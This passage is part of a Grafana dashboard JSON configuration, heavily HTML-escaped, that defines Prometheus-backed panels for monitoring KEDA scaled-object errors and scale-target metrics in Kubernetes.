/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hideFrom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;viz&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineInterpolation&quot;:&amp;nbsp;&quot;linear&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineWidth&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pointSize&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;scaleDistribution&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;linear&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showPoints&quot;:&amp;nbsp;&quot;never&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spanNulls&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;stacking&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;group&quot;:&amp;nbsp;&quot;A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdsStyle&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;off&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;absolute&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;80&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;Errors/sec&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;http-demo&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;9,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;16,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;calcs&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;displayMode&quot;:&amp;nbsp;&quot;list&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;placement&quot;:&amp;nbsp;&quot;bottom&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showLegend&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;single&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;sum&amp;nbsp;by(scaledObject)&amp;nbsp;(rate(keda_scaled_object_errors{exported_namespace=~\&quot;$namespace\&quot;,&amp;nbsp;scaledObject=~\&quot;$scaledObject\&quot;}[5m]))&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;{{&amp;nbsp;scaledObject&amp;nbsp;}}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Scaled&amp;nbsp;Object&amp;nbsp;Errors&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;timeseries&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;collapsed&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;24,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;10,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;panels&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Scale&amp;nbsp;Target&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;row&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;The&amp;nbsp;current&amp;nbsp;value&amp;nbsp;for&amp;nbsp;each&amp;nbsp;scaler&amp;rsquo;s&amp;nbsp;metric&amp;nbsp;that&amp;nbsp;would&amp;nbsp;be&amp;nbsp;used&amp;nbsp;by&amp;nbsp;the&amp;nbsp;HPA&amp;nbsp;in&amp;nbsp;computing&amp;nbsp;the&amp;nbsp;target&amp;nbsp;average.&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;palette-classic&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;custom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisCenteredZero&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisColorMode&quot;:&amp;nbsp;&quot;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisLabel&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisPlacement&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;barAlignment&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;drawStyle&quot;:&amp;nbsp;&quot;line&quot;,&lt;br 